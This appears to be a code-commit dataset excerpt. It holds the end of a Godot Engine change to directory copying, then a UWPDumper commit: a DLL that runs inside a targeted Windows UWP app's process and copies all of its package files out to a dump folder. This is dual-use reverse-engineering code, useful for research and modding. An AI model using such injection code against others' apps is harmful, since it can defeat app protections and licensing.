OK;\n}\n\nError DirAccess::copy_dir(String p_from, String p_to, int p_chmod_flags, bool p_copy_links) {\n\tERR_FAIL_COND_V_MSG(!dir_exists(p_from), ERR_FILE_NOT_FOUND, \"Source directory doesn't exist.\");\n\n\tRef<DirAccess> target_da = DirAccess::create_for_path(p_to);\n\tERR_FAIL_COND_V_MSG(target_da.is_null(), ERR_CANT_CREATE, \"Cannot create DirAccess for path '\" + p_to + \"'.\");\n\n\tif (!target_da->dir_exists(p_to)) {\n\t\tError err = target_da->make_dir_recursive(p_to);\n\t\tERR_FAIL_COND_V_MSG(err != OK, err, \"Cannot create directory '\" + p_to + \"'.\");\n\t}\n\n\tif (!p_to.ends_with(\"\/\")) {\n\t\tp_to = p_to + \"\/\";\n\t}\n\n\tDirChanger dir_changer(this, p_from);\n\tError err = _copy_dir(target_da, p_to, p_chmod_flags, p_copy_links);\n\n\treturn err;\n}\n\nbool DirAccess::exists(String p_dir) {\n\tRef<DirAccess> da = DirAccess::create_for_path(p_dir);\n\treturn da->change_dir(p_dir) == OK;\n}\n<commit_msg>Address slow copy performance when using the `FileAccessFilesystemJAndroid` implementation.<commit_after>\/*************************************************************************\/\n\/*  dir_access.cpp                                                       *\/\n\/*************************************************************************\/\n\/*                       This file is part of:                           *\/\n\/*                           GODOT ENGINE                                *\/\n\/*                      https:\/\/godotengine.org                          *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2022 Juan Linietsky, Ariel Manzur.                 *\/\n\/* Copyright (c) 2014-2022 Godot Engine contributors (cf. AUTHORS.md).   *\/\n\/*                                                                       *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the       *\/\n\/* \"Software\"), to deal in the Software without restriction, including   *\/\n\/* without limitation the rights to use, copy, modify, merge, publish,   *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to    *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions:                                             *\/\n\/*                                                                       *\/\n\/* The above copyright notice and this permission notice shall be        *\/\n\/* included in all copies or substantial portions of the Software.       *\/\n\/*                                                                       *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,       *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF    *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY  *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,  *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE     *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                *\/\n\/*************************************************************************\/\n\n#include \"dir_access.h\"\n\n#include \"core\/config\/project_settings.h\"\n#include \"core\/io\/file_access.h\"\n#include \"core\/os\/memory.h\"\n#include \"core\/os\/os.h\"\n#include \"core\/templates\/local_vector.h\"\n\nString DirAccess::_get_root_path() const {\n\tswitch (_access_type) {\n\t\tcase ACCESS_RESOURCES:\n\t\t\treturn ProjectSettings::get_singleton()->get_resource_path();\n\t\tcase ACCESS_USERDATA:\n\t\t\treturn OS::get_singleton()->get_user_data_dir();\n\t\tdefault:\n\t\t\treturn \"\";\n\t}\n}\n\nString DirAccess::_get_root_string() const {\n\tswitch (_access_type) {\n\t\tcase ACCESS_RESOURCES:\n\t\t\treturn \"res:\/\/\";\n\t\tcase ACCESS_USERDATA:\n\t\t\treturn \"user:\/\/\";\n\t\tdefault:\n\t\t\treturn \"\";\n\t}\n}\n\nint DirAccess::get_current_drive() {\n\tString path = get_current_dir().to_lower();\n\tfor (int i = 0; i < get_drive_count(); i++) {\n\t\tString d = get_drive(i).to_lower();\n\t\tif (path.begins_with(d)) {\n\t\t\treturn i;\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nbool DirAccess::drives_are_shortcuts() {\n\treturn false;\n}\n\nstatic Error _erase_recursive(DirAccess *da) {\n\tList<String> dirs;\n\tList<String> files;\n\n\tda->list_dir_begin();\n\tString n = da->get_next();\n\twhile (!n.is_empty()) {\n\t\tif (n != \".\" && n != \"..\") {\n\t\t\tif (da->current_is_dir()) {\n\t\t\t\tdirs.push_back(n);\n\t\t\t} else {\n\t\t\t\tfiles.push_back(n);\n\t\t\t}\n\t\t}\n\n\t\tn = da->get_next();\n\t}\n\n\tda->list_dir_end();\n\n\tfor (const String &E : dirs) {\n\t\tError err = da->change_dir(E);\n\t\tif (err == OK) {\n\t\t\terr = _erase_recursive(da);\n\t\t\tif (err) {\n\t\t\t\tda->change_dir(\"..\");\n\t\t\t\treturn err;\n\t\t\t}\n\t\t\terr = da->change_dir(\"..\");\n\t\t\tif (err) {\n\t\t\t\treturn err;\n\t\t\t}\n\t\t\terr = da->remove(da->get_current_dir().plus_file(E));\n\t\t\tif (err) {\n\t\t\t\treturn err;\n\t\t\t}\n\t\t} else {\n\t\t\treturn err;\n\t\t}\n\t}\n\n\tfor (const String &E : files) {\n\t\tError err = da->remove(da->get_current_dir().plus_file(E));\n\t\tif (err) {\n\t\t\treturn err;\n\t\t}\n\t}\n\n\treturn OK;\n}\n\nError DirAccess::erase_contents_recursive() {\n\treturn _erase_recursive(this);\n}\n\nError DirAccess::make_dir_recursive(String p_dir) {\n\tif (p_dir.length() < 1) {\n\t\treturn OK;\n\t}\n\n\tString full_dir;\n\n\tif (p_dir.is_relative_path()) {\n\t\t\/\/append current\n\t\tfull_dir = get_current_dir().plus_file(p_dir);\n\n\t} else {\n\t\tfull_dir = p_dir;\n\t}\n\n\tfull_dir = full_dir.replace(\"\\\\\", \"\/\");\n\n\tString base;\n\n\tif (full_dir.begins_with(\"res:\/\/\")) {\n\t\tbase = \"res:\/\/\";\n\t} else if (full_dir.begins_with(\"user:\/\/\")) {\n\t\tbase = \"user:\/\/\";\n\t} else if (full_dir.is_network_share_path()) {\n\t\tint pos = full_dir.find(\"\/\", 2);\n\t\tERR_FAIL_COND_V(pos < 0, ERR_INVALID_PARAMETER);\n\t\tpos = full_dir.find(\"\/\", pos + 1);\n\t\tERR_FAIL_COND_V(pos < 0, ERR_INVALID_PARAMETER);\n\t\tbase = full_dir.substr(0, pos + 1);\n\t} else if (full_dir.begins_with(\"\/\")) {\n\t\tbase = \"\/\";\n\t} else if (full_dir.contains(\":\/\")) {\n\t\tbase = full_dir.substr(0, full_dir.find(\":\/\") + 2);\n\t} else {\n\t\tERR_FAIL_V(ERR_INVALID_PARAMETER);\n\t}\n\n\tfull_dir = full_dir.replace_first(base, \"\").simplify_path();\n\n\tVector<String> subdirs = full_dir.split(\"\/\");\n\n\tString curpath = base;\n\tfor (int i = 0; i < subdirs.size(); i++) {\n\t\tcurpath = curpath.plus_file(subdirs[i]);\n\t\tError err = make_dir(curpath);\n\t\tif (err != OK && err != ERR_ALREADY_EXISTS) {\n\t\t\tERR_FAIL_V_MSG(err, \"Could not create directory: \" + curpath);\n\t\t}\n\t}\n\n\treturn OK;\n}\n\nDirAccess::AccessType DirAccess::get_access_type() const {\n\treturn _access_type;\n}\n\nString DirAccess::fix_path(String p_path) const {\n\tswitch (_access_type) {\n\t\tcase ACCESS_RESOURCES: {\n\t\t\tif (ProjectSettings::get_singleton()) {\n\t\t\t\tif (p_path.begins_with(\"res:\/\/\")) {\n\t\t\t\t\tString resource_path = ProjectSettings::get_singleton()->get_resource_path();\n\t\t\t\t\tif (!resource_path.is_empty()) {\n\t\t\t\t\t\treturn p_path.replace_first(\"res:\/\", resource_path);\n\t\t\t\t\t}\n\t\t\t\t\treturn p_path.replace_first(\"res:\/\/\", \"\");\n\t\t\t\t}\n\t\t\t}\n\n\t\t} break;\n\t\tcase ACCESS_USERDATA: {\n\t\t\tif (p_path.begins_with(\"user:\/\/\")) {\n\t\t\t\tString data_dir = OS::get_singleton()->get_user_data_dir();\n\t\t\t\tif (!data_dir.is_empty()) {\n\t\t\t\t\treturn p_path.replace_first(\"user:\/\", data_dir);\n\t\t\t\t}\n\t\t\t\treturn p_path.replace_first(\"user:\/\/\", \"\");\n\t\t\t}\n\n\t\t} break;\n\t\tcase ACCESS_FILESYSTEM: {\n\t\t\treturn p_path;\n\t\t} break;\n\t\tcase ACCESS_MAX:\n\t\t\tbreak; \/\/ Can't happen, but silences warning\n\t}\n\n\treturn p_path;\n}\n\nDirAccess::CreateFunc DirAccess::create_func[ACCESS_MAX] = { nullptr, nullptr, nullptr };\n\nRef<DirAccess> DirAccess::create_for_path(const String &p_path) {\n\tRef<DirAccess> da;\n\tif (p_path.begins_with(\"res:\/\/\")) {\n\t\tda = create(ACCESS_RESOURCES);\n\t} else if (p_path.begins_with(\"user:\/\/\")) {\n\t\tda = create(ACCESS_USERDATA);\n\t} else {\n\t\tda = create(ACCESS_FILESYSTEM);\n\t}\n\n\treturn da;\n}\n\nRef<DirAccess> DirAccess::open(const String &p_path, Error *r_error) {\n\tRef<DirAccess> da = create_for_path(p_path);\n\tERR_FAIL_COND_V_MSG(da.is_null(), nullptr, \"Cannot create DirAccess for path '\" + p_path + \"'.\");\n\tError err = da->change_dir(p_path);\n\tif (r_error) {\n\t\t*r_error = err;\n\t}\n\tif (err != OK) {\n\t\treturn nullptr;\n\t}\n\n\treturn da;\n}\n\nRef<DirAccess> DirAccess::create(AccessType p_access) {\n\tRef<DirAccess> da = create_func[p_access] ? create_func[p_access]() : nullptr;\n\tif (da.is_valid()) {\n\t\tda->_access_type = p_access;\n\n\t\t\/\/ for ACCESS_RESOURCES and ACCESS_FILESYSTEM, current_dir already defaults to where game was started\n\t\t\/\/ in case current directory is force changed elsewhere for ACCESS_RESOURCES\n\t\tif (p_access == ACCESS_RESOURCES) {\n\t\t\tda->change_dir(\"res:\/\/\");\n\t\t} else if (p_access == ACCESS_USERDATA) {\n\t\t\tda->change_dir(\"user:\/\/\");\n\t\t}\n\t}\n\n\treturn da;\n}\n\nString DirAccess::get_full_path(const String &p_path, AccessType p_access) {\n\tRef<DirAccess> d = DirAccess::create(p_access);\n\tif (d.is_null()) {\n\t\treturn p_path;\n\t}\n\n\td->change_dir(p_path);\n\tString full = d->get_current_dir();\n\treturn full;\n}\n\nError DirAccess::copy(String p_from, String p_to, int p_chmod_flags) {\n\t\/\/printf(\"copy %s -> %s\\n\",p_from.ascii().get_data(),p_to.ascii().get_data());\n\tError err;\n\t{\n\t\tRef<FileAccess> fsrc = FileAccess::open(p_from, FileAccess::READ, &err);\n\t\tERR_FAIL_COND_V_MSG(err != OK, err, \"Failed to open \" + p_from);\n\n\t\tRef<FileAccess> fdst = FileAccess::open(p_to, FileAccess::WRITE, &err);\n\t\tERR_FAIL_COND_V_MSG(err != OK, err, \"Failed to open \" + p_to);\n\n\t\tconst size_t copy_buffer_limit = 65536; \/\/ 64 KB\n\n\t\tfsrc->seek_end(0);\n\t\tint size = fsrc->get_position();\n\t\tfsrc->seek(0);\n\t\terr = OK;\n\t\tsize_t buffer_size = MIN(size * sizeof(uint8_t), copy_buffer_limit);\n\t\tLocalVector<uint8_t> buffer;\n\t\tbuffer.resize(buffer_size);\n\t\twhile (size > 0) {\n\t\t\tif (fsrc->get_error() != OK) {\n\t\t\t\terr = fsrc->get_error();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif (fdst->get_error() != OK) {\n\t\t\t\terr = fdst->get_error();\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tint bytes_read = fsrc->get_buffer(buffer.ptr(), buffer_size);\n\t\t\tif (bytes_read <= 0) {\n\t\t\t\terr = FAILED;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tfdst->store_buffer(buffer.ptr(), bytes_read);\n\n\t\t\tsize -= bytes_read;\n\t\t}\n\t}\n\n\tif (err == OK && p_chmod_flags != -1) {\n\t\terr = FileAccess::set_unix_permissions(p_to, p_chmod_flags);\n\t\t\/\/ If running on a platform with no chmod support (i.e., Windows), don't fail\n\t\tif (err == ERR_UNAVAILABLE) {\n\t\t\terr = OK;\n\t\t}\n\t}\n\n\treturn err;\n}\n\n\/\/ Changes dir for the current scope, returning back to the original dir\n\/\/ when scope exits\nclass DirChanger {\n\tDirAccess *da;\n\tString original_dir;\n\npublic:\n\tDirChanger(DirAccess *p_da, String p_dir) :\n\t\t\tda(p_da),\n\t\t\toriginal_dir(p_da->get_current_dir()) {\n\t\tp_da->change_dir(p_dir);\n\t}\n\n\t~DirChanger() {\n\t\tda->change_dir(original_dir);\n\t}\n};\n\nError DirAccess::_copy_dir(Ref<DirAccess> &p_target_da, String p_to, int p_chmod_flags, bool p_copy_links) {\n\tList<String> dirs;\n\n\tString curdir = get_current_dir();\n\tlist_dir_begin();\n\tString n = get_next();\n\twhile (!n.is_empty()) {\n\t\tif (n != \".\" && n != \"..\") {\n\t\t\tif (p_copy_links && is_link(get_current_dir().plus_file(n))) {\n\t\t\t\tcreate_link(read_link(get_current_dir().plus_file(n)), p_to + n);\n\t\t\t} else if (current_is_dir()) {\n\t\t\t\tdirs.push_back(n);\n\t\t\t} else {\n\t\t\t\tconst String &rel_path = n;\n\t\t\t\tif (!n.is_relative_path()) {\n\t\t\t\t\tlist_dir_end();\n\t\t\t\t\treturn ERR_BUG;\n\t\t\t\t}\n\t\t\t\tError err = copy(get_current_dir().plus_file(n), p_to + rel_path, p_chmod_flags);\n\t\t\t\tif (err) {\n\t\t\t\t\tlist_dir_end();\n\t\t\t\t\treturn err;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tn = get_next();\n\t}\n\n\tlist_dir_end();\n\n\tfor (const String &rel_path : dirs) {\n\t\tString target_dir = p_to + rel_path;\n\t\tif (!p_target_da->dir_exists(target_dir)) {\n\t\t\tError err = p_target_da->make_dir(target_dir);\n\t\t\tERR_FAIL_COND_V_MSG(err != OK, err, \"Cannot create directory '\" + target_dir + \"'.\");\n\t\t}\n\n\t\tError err = change_dir(rel_path);\n\t\tERR_FAIL_COND_V_MSG(err != OK, err, \"Cannot change current directory to '\" + rel_path + \"'.\");\n\n\t\terr = _copy_dir(p_target_da, p_to + rel_path + \"\/\", p_chmod_flags, p_copy_links);\n\t\tif (err) {\n\t\t\tchange_dir(\"..\");\n\t\t\tERR_FAIL_V_MSG(err, \"Failed to copy recursively.\");\n\t\t}\n\t\terr = change_dir(\"..\");\n\t\tERR_FAIL_COND_V_MSG(err != OK, err, \"Failed to go back.\");\n\t}\n\n\treturn OK;\n}\n\nError DirAccess::copy_dir(String p_from, String p_to, int p_chmod_flags, bool p_copy_links) {\n\tERR_FAIL_COND_V_MSG(!dir_exists(p_from), ERR_FILE_NOT_FOUND, \"Source directory doesn't exist.\");\n\n\tRef<DirAccess> target_da = DirAccess::create_for_path(p_to);\n\tERR_FAIL_COND_V_MSG(target_da.is_null(), ERR_CANT_CREATE, \"Cannot create DirAccess for path '\" + p_to + \"'.\");\n\n\tif (!target_da->dir_exists(p_to)) {\n\t\tError err = target_da->make_dir_recursive(p_to);\n\t\tERR_FAIL_COND_V_MSG(err != OK, err, \"Cannot create directory '\" + p_to + \"'.\");\n\t}\n\n\tif (!p_to.ends_with(\"\/\")) {\n\t\tp_to = p_to + \"\/\";\n\t}\n\n\tDirChanger dir_changer(this, p_from);\n\tError err = _copy_dir(target_da, p_to, p_chmod_flags, p_copy_links);\n\n\treturn err;\n}\n\nbool DirAccess::exists(String p_dir) {\n\tRef<DirAccess> da = DirAccess::create_for_path(p_dir);\n\treturn da->change_dir(p_dir) == OK;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <cstddef>\n#include <cstddef>\n#include <fstream>\n#include <iomanip>\n\n#define WIN32_LEAN_AND_MEAN\n#include <Windows.h>\n#include <ShlObj.h>\n\n#include <windows.storage.h>\n#include <windows.system.h>\n#include <wrl.h>\n\n#define WIDEIFYIMP(x) L##x\n#define WIDEIFY(x) WIDEIFYIMP(x)\n\n#include <queue>\n\n#include <experimental\/filesystem>\nnamespace fs = std::experimental::filesystem;\n\n#include <UWP\/UWP.hpp>\n\n#include <UWP\/DumperIPC.hpp>\n\nvoid OpenTempState()\n{\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Storage::IApplicationDataStatics> AppDataStatics;\n\n\tif(\n\t\tRoGetActivationFactory(\n\t\t\tMicrosoft::WRL::Wrappers::HStringReference(RuntimeClass_Windows_Storage_ApplicationData).Get(),\n\t\t\t__uuidof(AppDataStatics), &AppDataStatics\n\t\t) < 0\n\t)\n\t{\n\t\t\/\/ Error getting ApplicationData statics\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Storage::IApplicationData> AppData;\n\tif( AppDataStatics->get_Current(&AppData) < 0 )\n\t{\n\t\t\/\/ Error getting current IApplicationData\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::System::ILauncherStatics3> LauncherStatics;\n\tif(\n\t\tRoGetActivationFactory(\n\t\t\tMicrosoft::WRL::Wrappers::HStringReference(RuntimeClass_Windows_System_Launcher).Get(),\n\t\t\t__uuidof(LauncherStatics), &LauncherStatics\n\t\t) < 0\n\t)\n\t{\n\t\t\/\/ Error getting Launcher statics\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Storage::IStorageFolder> TemporaryFolder;\n\n\tif( AppData->get_TemporaryFolder(&TemporaryFolder) < 0 )\n\t{\n\t\t\/\/ Failed to get folder\n\t\treturn;\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Foundation::IAsyncOperation<bool>> Result;\n\tLauncherStatics->LaunchFolderAsync(\n\t\tTemporaryFolder.Get(),\n\t\t&Result\n\t);\n}\n\nstd::uint32_t __stdcall DumperThread(void* DLLHandle)\n{\n\tstd::wstring DumpPath = fs::path(UWP::Current::Storage::GetTemporaryPath()) \/ L\"DUMP\";\n\n\tIPC::SetTargetThread(GetCurrentThreadId());\n\n\tIPC::PushMessage(L\"UWPDumper Build date(%ls : %ls)\\n\", WIDEIFY(__DATE__), WIDEIFY(__TIME__));\n\tIPC::PushMessage(L\"\\t-https:\/\/github.com\/Wunkolo\/UWPDumper\\n\");\n\tIPC::PushMessage(L\"Publisher:\\n\\t%s\\n\", UWP::Current::GetPublisher().c_str());\n\tIPC::PushMessage(L\"Publisher ID:\\n\\t%s\\n\", UWP::Current::GetPublisherID().c_str());\n\tIPC::PushMessage(L\"Publisher Path:\\n\\t%s\\n\", UWP::Current::Storage::GetPublisherPath().c_str());\n\tIPC::PushMessage(L\"Package Path:\\n\\t%s\\n\", UWP::Current::GetPackagePath().c_str());\n\tIPC::PushMessage(L\"Package Name:\\n\\t%s\\n\", UWP::Current::GetFullName().c_str());\n\tIPC::PushMessage(L\"Family Name:\\n\\t%s\\n\", UWP::Current::GetFamilyName().c_str());\n\n\tIPC::PushMessage(L\"Dump Path:\\n\\t%s\\n\", DumpPath.c_str());\n\n\tstd::vector<fs::directory_entry> FileList;\n\n\tfor( auto& Entry : fs::recursive_directory_iterator(\".\") )\n\t{\n\t\tif( fs::is_regular_file(Entry.path()) )\n\t\t{\n\t\t\tFileList.push_back(Entry);\n\t\t}\n\t}\n\n\tIPC::PushMessage(L\"\\tDumping %zu files\\n\", FileList.size());\n\n\tstd::size_t i = 0;\n\tfor( const auto& File : FileList )\n\t{\n\t\tconst fs::path WritePath = DumpPath + File.path().wstring().substr(1);\n\t\tconst std::wstring ReadPath = File.path().wstring();\n\t\tIPC::PushMessage(\n\t\t\tL\"%*.*s %*.u bytes %*zu\/%zu\\n\",\n\t\t\t60, 60,\n\t\t\tReadPath.c_str() + (ReadPath.length() > 60 ? (ReadPath.length() - (60)) : 0),\n\t\t\t15,\n\t\t\tfs::file_size(File),\n\t\t\t20,\n\t\t\t++i,\n\t\t\tFileList.size()\n\t\t);\n\n\t\tstd::error_code ErrorCode;\n\t\tif( fs::create_directories(WritePath.parent_path(), ErrorCode) == false && ErrorCode )\n\t\t{\n\t\t\tconst std::string ErrorMessage(ErrorCode.message());\n\t\t\tstd::wstring WErrorMessage;\n\t\t\tWErrorMessage.assign(ErrorMessage.begin(), ErrorMessage.end());\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error creating subfolder: %s\\n\\t%s\\n\",\n\t\t\t\tWritePath.parent_path().c_str(),\n\t\t\t\tWErrorMessage.c_str()\n\t\t\t);\n\t\t\tcontinue;\n\t\t}\n\n\t\tstd::ifstream SourceFile(ReadPath, std::ios::binary);\n\t\tif( !SourceFile.is_open() )\n\t\t{\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error opening %s for reading\\n\",\n\t\t\t\tReadPath.c_str()\n\t\t\t);\n\t\t\tcontinue;\n\t\t}\n\n\t\tstd::ofstream DestFile(WritePath, std::ios::binary);\n\t\tif( !DestFile.is_open() )\n\t\t{\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error opening %s for writing\\n\",\n\t\t\t\tWritePath.c_str()\n\t\t\t);\n\t\t\tcontinue;\n\t\t}\n\n\t\tif( SourceFile && DestFile )\n\t\t{\n\t\t\tDestFile << SourceFile.rdbuf();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error copying:\\n\"\n\t\t\t\t\"\\t%s\\n\"\n\t\t\t\t\"\\tto\\n\"\n\t\t\t\t\"\\t%s\\n\",\n\t\t\t\tFile.path().c_str(),\n\t\t\t\tWritePath.c_str()\n\t\t\t);\n\t\t}\n\t}\n\n\tIPC::PushMessage(L\"Dump complete!\\n\\tPath:\\n\\t%s\\n\", DumpPath.c_str());\n\tOpenTempState();\n\tIPC::ClearTargetThread();\n\n\tFreeLibraryAndExitThread(\n\t\treinterpret_cast<HMODULE>(DLLHandle),\n\t\tEXIT_SUCCESS\n\t);\n}\n\nstd::int32_t __stdcall DllMain(HINSTANCE hDLL, std::uint32_t Reason, void* Reserved)\n{\n\tswitch( Reason )\n\t{\n\tcase DLL_PROCESS_ATTACH:\n\t{\n\t\tif( IPC::GetTargetProcess() == GetCurrentProcessId() )\n\t\t{\n\t\t\t\/\/ We are the target process to be dumped\n\t\t\tCreateThread(\n\t\t\t\tnullptr,\n\t\t\t\t0,\n\t\t\t\treinterpret_cast<unsigned long(__stdcall*)(void*)>(&DumperThread),\n\t\t\t\thDLL,\n\t\t\t\t0,\n\t\t\t\tnullptr\n\t\t\t);\n\t\t}\n\t}\n\tcase DLL_PROCESS_DETACH:\n\tcase DLL_THREAD_ATTACH:\n\tcase DLL_THREAD_DETACH:\n\tdefault:\n\t{\n\t\treturn true;\n\t}\n\t}\n\n\treturn false;\n}\n<commit_msg>Fix current directory resolution<commit_after>#include <cstddef>\n#include <cstddef>\n#include <fstream>\n#include <iomanip>\n\n#define WIN32_LEAN_AND_MEAN\n#include <Windows.h>\n#include <ShlObj.h>\n\n#include <windows.storage.h>\n#include <windows.system.h>\n#include <wrl.h>\n\n#define WIDEIFYIMP(x) L##x\n#define WIDEIFY(x) WIDEIFYIMP(x)\n\n#include <queue>\n\n#include <experimental\/filesystem>\nnamespace fs = std::experimental::filesystem;\n\n#include <UWP\/UWP.hpp>\n\n#include <UWP\/DumperIPC.hpp>\n\nvoid OpenTempState()\n{\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Storage::IApplicationDataStatics> AppDataStatics;\n\n\tif(\n\t\tRoGetActivationFactory(\n\t\t\tMicrosoft::WRL::Wrappers::HStringReference(RuntimeClass_Windows_Storage_ApplicationData).Get(),\n\t\t\t__uuidof(AppDataStatics), &AppDataStatics\n\t\t) < 0\n\t)\n\t{\n\t\t\/\/ Error getting ApplicationData statics\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Storage::IApplicationData> AppData;\n\tif( AppDataStatics->get_Current(&AppData) < 0 )\n\t{\n\t\t\/\/ Error getting current IApplicationData\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::System::ILauncherStatics3> LauncherStatics;\n\tif(\n\t\tRoGetActivationFactory(\n\t\t\tMicrosoft::WRL::Wrappers::HStringReference(RuntimeClass_Windows_System_Launcher).Get(),\n\t\t\t__uuidof(LauncherStatics), &LauncherStatics\n\t\t) < 0\n\t)\n\t{\n\t\t\/\/ Error getting Launcher statics\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Storage::IStorageFolder> TemporaryFolder;\n\n\tif( AppData->get_TemporaryFolder(&TemporaryFolder) < 0 )\n\t{\n\t\t\/\/ Failed to get folder\n\t\treturn;\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Foundation::IAsyncOperation<bool>> Result;\n\tLauncherStatics->LaunchFolderAsync(\n\t\tTemporaryFolder.Get(),\n\t\t&Result\n\t);\n}\n\nstd::uint32_t __stdcall DumperThread(void* DLLHandle)\n{\n\tstd::wstring DumpPath = fs::path(UWP::Current::Storage::GetTemporaryPath()) \/ L\"DUMP\";\n\n\tIPC::SetTargetThread(GetCurrentThreadId());\n\n\tIPC::PushMessage(L\"UWPDumper Build date(%ls : %ls)\\n\", WIDEIFY(__DATE__), WIDEIFY(__TIME__));\n\tIPC::PushMessage(L\"\\t-https:\/\/github.com\/Wunkolo\/UWPDumper\\n\");\n\tIPC::PushMessage(L\"Publisher:\\n\\t%s\\n\", UWP::Current::GetPublisher().c_str());\n\tIPC::PushMessage(L\"Publisher ID:\\n\\t%s\\n\", UWP::Current::GetPublisherID().c_str());\n\tIPC::PushMessage(L\"Publisher Path:\\n\\t%s\\n\", UWP::Current::Storage::GetPublisherPath().c_str());\n\tIPC::PushMessage(L\"Package Path:\\n\\t%s\\n\", UWP::Current::GetPackagePath().c_str());\n\tIPC::PushMessage(L\"Package Name:\\n\\t%s\\n\", UWP::Current::GetFullName().c_str());\n\tIPC::PushMessage(L\"Family Name:\\n\\t%s\\n\", UWP::Current::GetFamilyName().c_str());\n\n\tIPC::PushMessage(L\"Dump Path:\\n\\t%s\\n\", DumpPath.c_str());\n\n\tstd::vector<fs::directory_entry> FileList;\n\n\tfor( auto& Entry : fs::recursive_directory_iterator(UWP::Current::GetPackagePath()) )\n\t{\n\t\tif( fs::is_regular_file(Entry.path()) )\n\t\t{\n\t\t\tFileList.push_back(Entry);\n\t\t}\n\t}\n\n\tIPC::PushMessage(L\"\\tDumping %zu files\\n\", FileList.size());\n\n\tstd::size_t i = 0;\n\tfor( const auto& File : FileList )\n\t{\n\t\tconst fs::path WritePath = DumpPath + File.path().wstring().substr(UWP::Current::GetPackagePath().length());\n\t\tconst std::wstring ReadPath = File.path().wstring();\n\t\tIPC::PushMessage(\n\t\t\tL\"%*.*s %*.u bytes %*zu\/%zu\\n\",\n\t\t\t60, 60,\n\t\t\tReadPath.c_str() + (ReadPath.length() > 60 ? (ReadPath.length() - (60)) : 0),\n\t\t\t15,\n\t\t\tfs::file_size(File),\n\t\t\t20,\n\t\t\t++i,\n\t\t\tFileList.size()\n\t\t);\n\n\t\tstd::error_code ErrorCode;\n\t\tif( fs::create_directories(WritePath.parent_path(), ErrorCode) == false && ErrorCode )\n\t\t{\n\t\t\tconst std::string ErrorMessage(ErrorCode.message());\n\t\t\tstd::wstring WErrorMessage;\n\t\t\tWErrorMessage.assign(ErrorMessage.begin(), ErrorMessage.end());\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error creating subfolder: %s\\n\\t%s\\n\",\n\t\t\t\tWritePath.parent_path().c_str(),\n\t\t\t\tWErrorMessage.c_str()\n\t\t\t);\n\t\t\tcontinue;\n\t\t}\n\n\t\tstd::ifstream SourceFile(ReadPath, std::ios::binary);\n\t\tif( !SourceFile.is_open() )\n\t\t{\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error opening %s for reading\\n\",\n\t\t\t\tReadPath.c_str()\n\t\t\t);\n\t\t\tcontinue;\n\t\t}\n\n\t\tstd::ofstream DestFile(WritePath, std::ios::binary);\n\t\tif( !DestFile.is_open() )\n\t\t{\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error opening %s for writing\\n\",\n\t\t\t\tWritePath.c_str()\n\t\t\t);\n\t\t\tcontinue;\n\t\t}\n\n\t\tif( SourceFile && DestFile )\n\t\t{\n\t\t\tDestFile << SourceFile.rdbuf();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error copying:\\n\"\n\t\t\t\t\"\\t%s\\n\"\n\t\t\t\t\"\\tto\\n\"\n\t\t\t\t\"\\t%s\\n\",\n\t\t\t\tFile.path().c_str(),\n\t\t\t\tWritePath.c_str()\n\t\t\t);\n\t\t}\n\t}\n\n\tIPC::PushMessage(L\"Dump complete!\\n\\tPath:\\n\\t%s\\n\", DumpPath.c_str());\n\tOpenTempState();\n\tIPC::ClearTargetThread();\n\n\tFreeLibraryAndExitThread(\n\t\treinterpret_cast<HMODULE>(DLLHandle),\n\t\tEXIT_SUCCESS\n\t);\n}\n\nstd::int32_t __stdcall DllMain(HINSTANCE hDLL, std::uint32_t Reason, void* Reserved)\n{\n\tswitch( Reason )\n\t{\n\tcase DLL_PROCESS_ATTACH:\n\t{\n\t\tif( IPC::GetTargetProcess() == GetCurrentProcessId() )\n\t\t{\n\t\t\t\/\/ We are the target process to be dumped\n\t\t\tCreateThread(\n\t\t\t\tnullptr,\n\t\t\t\t0,\n\t\t\t\treinterpret_cast<unsigned long(__stdcall*)(void*)>(&DumperThread),\n\t\t\t\thDLL,\n\t\t\t\t0,\n\t\t\t\tnullptr\n\t\t\t);\n\t\t}\n\t}\n\tcase DLL_PROCESS_DETACH:\n\tcase DLL_THREAD_ATTACH:\n\tcase DLL_THREAD_DETACH:\n\tdefault:\n\t{\n\t\treturn 